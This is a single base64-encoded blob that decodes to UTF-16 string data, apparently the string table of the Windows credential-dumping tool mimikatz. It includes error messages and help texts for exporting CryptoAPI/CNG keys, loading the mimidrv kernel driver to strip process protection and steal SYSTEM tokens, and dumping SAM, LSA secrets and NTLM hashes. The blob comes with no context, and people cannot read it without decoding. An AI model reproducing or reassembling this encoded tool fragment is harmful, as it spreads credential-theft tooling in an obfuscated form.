IAAnACUAcwAnAAoAAAAAAAoAQwByAHkAcAB0AG8AQQBQAEkAIABrAGUAeQBzACAAOgAKAAAAAAAKACUAMgB1AC4AIAAlAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABDAHIAeQBwAHQARwBlAHQAVQBzAGUAcgBLAGUAeQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAAQwByAHkAcAB0AEcAZQB0AFAAcgBvAHYAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAoAQwBOAEcAIABrAGUAeQBzACAAOgAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AbABfAGsAZQB5AHMAIAA7ACAATgBDAHIAeQBwAHQATwBwAGUAbgBLAGUAeQAgACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBsAF8AawBlAHkAcwAgADsAIABOAEMAcgB5AHAAdABFAG4AdQBtAEsAZQB5AHMAIAAlADAAOAB4AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGwAXwBrAGUAeQBzACAAOwAgAE4AQwByAHkAcAB0AE8AcABlAG4AUwB0AG8AcgBhAGcAZQBQAHIAbwB2AGkAZABlAHIAIAAlADAAOAB4AAoAAAAAAEUAeABwAG8AcgB0ACAAUABvAGwAaQBjAHkAAABMAGUAbgBnAHQAaAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAcgBpAG4AdABLAGUAeQBJAG4AZgBvAHMAIAA7ACAATgBDAHIAeQBwAHQARwBlAHQAUAByAG8AcABlAHIAdAB5ACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AcAByAGkAbgB0AEsAZQB5AEkAbgBmAG8AcwAgADsAIABDAHIAeQBwAHQARwBlAHQASwBlAHkAUABhAHIAYQBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFkARQBTAAAATgBPAAAAAAAJAEUAeABwAG8AcgB0AGEAYgBsAGUAIABrAGUAeQAgADoAIAAlAHMACgAJAEsAZQB5ACAAcwBpAHoAZQAgACAAIAAgACAAIAAgADoAIAAlAHUACgAAAAAAcAB2AGsAAABDAEEAUABJAFAAUgBJAFYAQQBUAEUAQgBMAE8AQgAAAE8ASwAAAAAASwBPAAAAAAAJAFAAcgBpAHYAYQB0AGUAIABlAHgAcABvAHIAdAAgADoAIAAlAHMAIAAtACAAAAAnACUAcwAnAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAGUAeABwAG8AcgB0AEsAZQB5AFQAbwBGAGkAbABlACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABLAGUAeQBUAG8ARgBpAGwAZQAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABkAGUAcgAAAAkAUAB1AGIAbABpAGMAIABlAHgAcABvAHIAdAAgACAAOgAgACUAcwAgAC0AIAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZQB4AHAAbwByAHQAQwBlAHIAdAAgADsAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8AZwBlAG4AZQByAGEAdABlAEYAaQBsAGUATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAcABmAHgAAABtAGkAbQBpAGsAYQB0AHoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBlAHgAcABvAHIAdABDAGUAcgB0ACAAOwAgAEUAeABwAG8AcgB0ACAALwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAJQBzAF8AJQBzAF8AJQB1AF8AJQBzAC4AJQBzAAAAAABBAFQAXwBLAEUAWQBFAFgAQwBIAEEATgBHAEUAAAAAAEEAVABfAFMASQBHAE4AQQBUAFUAUgBFAAAAAABDAE4ARwAgAEsAZQB5AAAAcgBzAGEAZQBuAGgALgBkAGwAbAAAAAAATABvAGMAYQBsACAAQwByAHkAcAB0AG8AQQBQAEkAIABwAGEAdABjAGgAZQBkAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBuAGcAIAA7ACAATgBvACAAQwBOAEcACgAAAEMAbABlAGEAcgAgAGEAbgAgAGUAdgBlAG4AdAAgAGwAbwBnAAAAAABjAGwAZQBhAHIAAAAAAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAcABhAHQAYwBoACAARQB2AGUAbgB0AHMAIABzAGUAcgB2AGkAYwBlACAAdABvACAAYQB2AG8AaQBkACAAbgBlAHcAIABlAHYAZQBuAHQAcwAAAGQAcgBvAHAAAAAAAEUAdgBlAG4AdAAgAG0AbwBkAHUAbABlAAAAAABlAHYAZQBuAHQAAABsAG8AZwAAAGUAdgBlAG4AdABsAG8AZwAuAGQAbABsAAAAAAB3AGUAdgB0AHMAdgBjAC4AZABsAGwAAABFAHYAZQBuAHQATABvAGcAAAAAAFMAZQBjAHUAcgBpAHQAeQAAAAAAVQBzAGkAbgBnACAAIgAlAHMAIgAgAGUAdgBlAG4AdAAgAGwAbwBnACAAOgAKAAAALQAgACUAdQAgAGUAdgBlAG4AdAAoAHMAKQAKAAAAAAAtACAAQwBsAGUAYQByAGUAZAAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAEMAbABlAGEAcgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAATwBwAGUAbgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAEwAaQBzAHQAIABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAAAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABGAFMAIABmAGkAbAB0AGUAcgBzAAAAZgBpAGwAdABlAHIAcwAAAFIAZQBtAG8AdgBlACAAbwBiAGoAZQBjAHQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawAAAG4AbwB0AGkAZgBPAGIAagBlAGMAdABSAGUAbQBvAHYAZQAAAFIAZQBtAG8AdgBlACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAAAAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwBSAGUAbQBvAHYAZQAAAAAATABpAHMAdAAgAG8AYgBqAGUAYwB0ACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAAAAbgBvAHQAaQBmAE8AYgBqAGUAYwB0AAAATABpAHMAdAAgAHIAZQBnAGkAcwB0AHIAeQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAG4AbwB0AGkAZgBSAGUAZwAAAAAATABpAHMAdAAgAGkAbQBhAGcAZQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAABuAG8AdABpAGYASQBtAGEAZwBlAAAAAABMAGkAcwB0ACAAdABoAHIAZQBhAGQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYAVABoAHIAZQBhAGQAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAABuAG8AdABpAGYAUAByAG8AYwBlAHMAcwAAAAAATABpAHMAdAAgAFMAUwBEAFQAAABzAHMAZAB0AAAAAABMAGkAcwB0ACAAbQBvAGQAdQBsAGUAcwAAAAAAbQBvAGQAdQBsAGUAcwAAAFMAZQB0ACAAYQBsAGwAIABwAHIAaQB2AGkAbABlAGcAZQAgAG8AbgAgAHAAcgBvAGMAZQBzAHMAAAAAAHAAcgBvAGMAZQBzAHMAUAByAGkAdgBpAGwAZQBnAGUAAAAAAEQAdQBwAGwAaQBjAGEAdABlACAAcAByAG8AYwBlAHMAcwAgAHQAbwBrAGUAbgAAAHAAcgBvAGMAZQBzAHMAVABvAGsAZQBuAAAAAABQAHIAbwB0AGUAYwB0ACAAcAByAG8AYwBlAHMAcwAAAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAAAAAAQgBTAE8ARAAgACEAAAAAAGIAcwBvAGQAAAAAAFAAaQBuAGcAIAB0AGgAZQAgAGQAcgBpAHYAZQByAAAAcABpAG4AZwAAAAAAAAAAAFIAZQBtAG8AdgBlACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAAoAG0AaQBtAGkAZAByAHYAKQAAAAAALQAAAEkAbgBzAHQAYQBsAGwAIABhAG4AZAAvAG8AcgAgAHMAdABhAHIAdAAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAACsAAAByAGUAbQBvAHYAZQAAAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAAAAAAHAAcgBvAGMAZQBzAHMAAABtAGkAbQBpAGQAcgB2AC4AcwB5AHMAAABtAGkAbQBpAGQAcgB2AAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB1AGMAYwBlAHMAcwBmAHUAbABsAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAAAAAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAQQBDAEwAIAB0AG8AIABlAHYAZQByAHkAbwBuAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAFcAbwByAGwAZABUAG8ATQBpAG0AaQBrAGEAdAB6ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAEMAcgBlAGEAdABlAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGkAcwBGAGkAbABlAEUAeABpAHMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBnAGUAdABBAGIAcwBvAGwAdQB0AGUAUABhAHQAaABPAGYAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAE8AcABlAG4AUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABhAGwAcgBlAGEAZAB5ACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABTAHQAYQByAHQAUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAQwBNAGEAbgBhAGcAZQByACgAYwByAGUAYQB0AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdABvAHAAcABlAGQACgAAAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAG4AbwB0ACAAcgB1AG4AbgBpAG4AZwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBzAHQAbwBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAByAGUAbQBvAHYAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcgBlAG0AbwB2AGUAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHIAZQBtAG8AdgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFAAcgBvAGMAZQBzAHMAIAA6ACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFAAcgBvAGMAZQBzAHMASQBkAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAHAAaQBkAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAQQByAGcAdQBtAGUAbgB0ACAALwBwAHIAbwBjAGUAcwBzADoAcAByAG8AZwByAGEAbQAuAGUAeABlACAAbwByACAALwBwAGkAZAA6AHAAcgBvAGMAZQBzAHMAaQBkACAAbgBlAGUAZABlAGQACgAAAAAAAAAAAFAASQBEACAAJQB1ACAALQA+ACAAJQAwADIAeAAvACUAMAAyAHgAIABbACUAMQB4AC0AJQAxAHgALQAlADEAeABdAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAATgBvACAAUABJAEQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBwAHIAbwBjAGUAcwBzAFAAcgBvAHQAZQBjAHQAIAA7ACAAUAByAG8AdABlAGMAdABlAGQAIABwAHIAbwBjAGUAcwBzACAAbgBvAHQAIABhAHYAYQBpAGwAYQBiAGwAZQAgAGIAZQBmAG8AcgBlACAAVwBpAG4AZABvAHcAcwAgAFYAaQBzAHQAYQAKAAAAAABmAHIAbwBtAAAAAAB0AG8AAAAAAAAAAABUAG8AawBlAG4AIABmAHIAbwBtACAAcAByAG8AYwBlAHMAcwAgACUAdQAgAHQAbwAgAHAAcgBvAGMAZQBzAHMAIAAlAHUACgAAAAAAAAAAACAAKgAgAGYAcgBvAG0AIAAwACAAdwBpAGwAbAAgAHQAYQBrAGUAIABTAFkAUwBUAEUATQAgAHQAbwBrAGUAbgAKAAAAAAAAACAAKgAgAHQAbwAgADAAIAB3AGkAbABsACAAdABhAGsAZQAgAGEAbABsACAAJwBjAG0AZAAnACAAYQBuAGQAIAAnAG0AaQBtAGkAawBhAHQAegAnACAAcAByAG8AYwBlAHMAcwAKAAAAVABhAHIAZwBlAHQAIAA9ACAAMAB4ACUAcAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AbgBvAHQAaQBmAHkARwBlAG4AZQByAGkAYwBSAGUAbQBvAHYAZQAgADsAIABOAG8AIABhAGQAZAByAGUAcwBzAD8ACgAAAAAASwBlAHIAYgBlAHIAbwBzAC0ATgBlAHcAZQByAC0ASwBlAHkAcwAAAEsAZQByAGIAZQByAG8AcwAAAAAAVwBEAGkAZwBlAHMAdAAAAEMATABFAEEAUgBUAEUAWABUAAAAUAByAGkAbQBhAHIAeQAAAGsAZQByAG4AZQBsADMAMgAuAGQAbABsAAAAAABuAHQAZABsAGwALgBkAGwAbAAAAGwAcwBhAHMAcgB2AC4AZABsAGwAAAAAAHMAYQBtAHMAcgB2AC4AZABsAGwAAAAAAEQAYQB0AGEAAAAAAEcAQgBHAAAAUwBrAGUAdwAxAAAASgBEAAAAAABEAGUAZgBhAHUAbAB0AAAAQwB1AHIAcgBlAG4AdAAAAEEAcwBrACAATABTAEEAIABTAGUAcgB2AGUAcgAgAHQAbwAgAHIAZQB0AHIAaQBlAHYAZQAgAFMAQQBNAC8AQQBEACAAZQBuAHQAcgBpAGUAcwAgACgAbgBvAHIAbQBhAGwALAAgAHAAYQB0AGMAaAAgAG8AbgAgAHQAaABlACAAZgBsAHkAIABvAHIAIABpAG4AagBlAGMAdAApAAAAAABsAHMAYQAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABOAEwAJABLAE0AIAB0AGgAZQBuACAATQBTAEMAYQBjAGgAZQAoAHYAMgApACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAABjAGEAYwBoAGUAAABHAGUAdAAgAHQAaABlACAAUwB5AHMASwBlAHkAIAB0AG8AIABkAGUAYwByAHkAcAB0ACAAUwBFAEMAUgBFAFQAUwAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAcwBlAGMAcgBlAHQAcwAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABTAEEATQAgAGUAbgB0AHIAaQBlAHMAIAAoAGYAcgBvAG0AIAByAGUAZwBpAHMAdAByAHkAIABvAHIAIABoAGkAdgBlAHMAKQAAAAAAcwBhAG0AAABMAHMAYQBEAHUAbQBwACAAbQBvAGQAdQBsAGUAAAAAAGwAcwBhAGQAdQBtAHAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBzAGEAbQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAFkAUwBUAEUATQAgAGgAaQB2AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAQQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMAWQBTAFQARQBNAAAAAABTAEEATQAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMAQQBNACkAIAAoADAAeAAlADAAOAB4ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEUAQwBVAFIASQBUAFkAIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFMARQBDAFUAUgBJAFQAWQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcATwBwAGUAbgBLAGUAeQBFAHgAIAAoAFMARQBDAFUAUgBJAFQAWQApACAAKAAwAHgAJQAwADgAeAApAAoAAABDAG8AbgB0AHIAbwBsAFMAZQB0ADAAMAAwAAAAUwBlAGwAZQBjAHQAAAAAACUAMAAzAHUAAAAAACUAeAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAUwB5AHMAawBlAHkAIAA7ACAATABTAEEAIABLAGUAeQAgAEMAbABhAHMAcwAgAHIAZQBhAGQAIABlAHIAcgBvAHIACgAAAAAARABvAG0AYQBpAG4AIAA6ACAAAAAAAAAAQwBvAG4AdAByAG8AbABcAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlAFwAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAAABDAG8AbQBwAHUAdABlAHIATgBhAG0AZQAAAAAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAcAByAGUAIAAtACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBRAHUAZQByAHkAVgBhAGwAdQBlAEUAeAAgAEMAbwBtAHAAdQB0AGUAcgBOAGEAbQBlACAASwBPAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEMAbwBtAHAAdQB0AGUAcgBBAG4AZABTAHkAcwBrAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAQwBvAG0AcAB1AHQAZQByAE4AYQBtAGUAIABLAE8ACgAAAFMAeQBzAEsAZQB5ACAAOgAgAAAAQwBvAG4AdAByAG8AbABcAEwAUwBBAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAQwBvAG0AcAB1AHQAZQByAEEAbgBkAFMAeQBzAGsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFMAeQBzAGsAZQB5ACAASwBPAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBnAGUAdABDAG8AbQBwAHUAdABlAHIAQQBuAGQAUwB5AHMAawBlAHkAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgAEwAUwBBACAASwBPAAoAAAAAAFMAQQBNAFwARABvAG0AYQBpAG4AcwBcAEEAYwBjAG8AdQBuAHQAAABVAHMAZQByAHMAAABOAGEAbQBlAHMAAAAKAFIASQBEACAAIAA6ACAAJQAwADgAeAAgACgAJQB1ACkACgAAAAAAVgAAAFUAcwBlAHIAIAA6ACAAJQAuACoAcwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAGcAaQBzAHQAcgB5AF8AUgBlAGcAUQB1AGUAcgB5AFYAYQBsAHUAZQBFAHgAIABWACAASwBPAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABwAHIAZQAgAC0AIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAFEAdQBlAHIAeQBWAGEAbAB1AGUARQB4ACAAVgAgAEsATwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQAVQBzAGUAcgBzAEEAbgBkAFMAYQBtAEsAZQB5ACAAOwAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AEsAZQAgAEsATwAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGcAZQB0AFUAcwBlAHIAcwBBAG4AZABTAGEAbQBLAGUAeQAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBnAGkAcwB0AHIAeQBfAFIAZQBnAE8AcABlAG4ASwBlAHkARQB4ACAAUwBBAE0AIABBAGMAYwBvAHUAbgB0AHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAATgBUAEwATQAAAAAATABNACAAIAAAAAAAJQBzACAAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABEAGUAYwByAHkAcAB0AEQARQBTADIAYgBsAG8AYwBrAHMAMQBEAFcATwBSAEQAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZwBlAHQASABhAHMAaAAgADsAIABSAHQAbABFAG4AYwByAHkAcAB0AEQAZQBjAHIAeQBwAHQAQQBSAEMANAAAAAAACgBTAEEATQBLAGUAeQAgADoAIAAAAAAARgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwA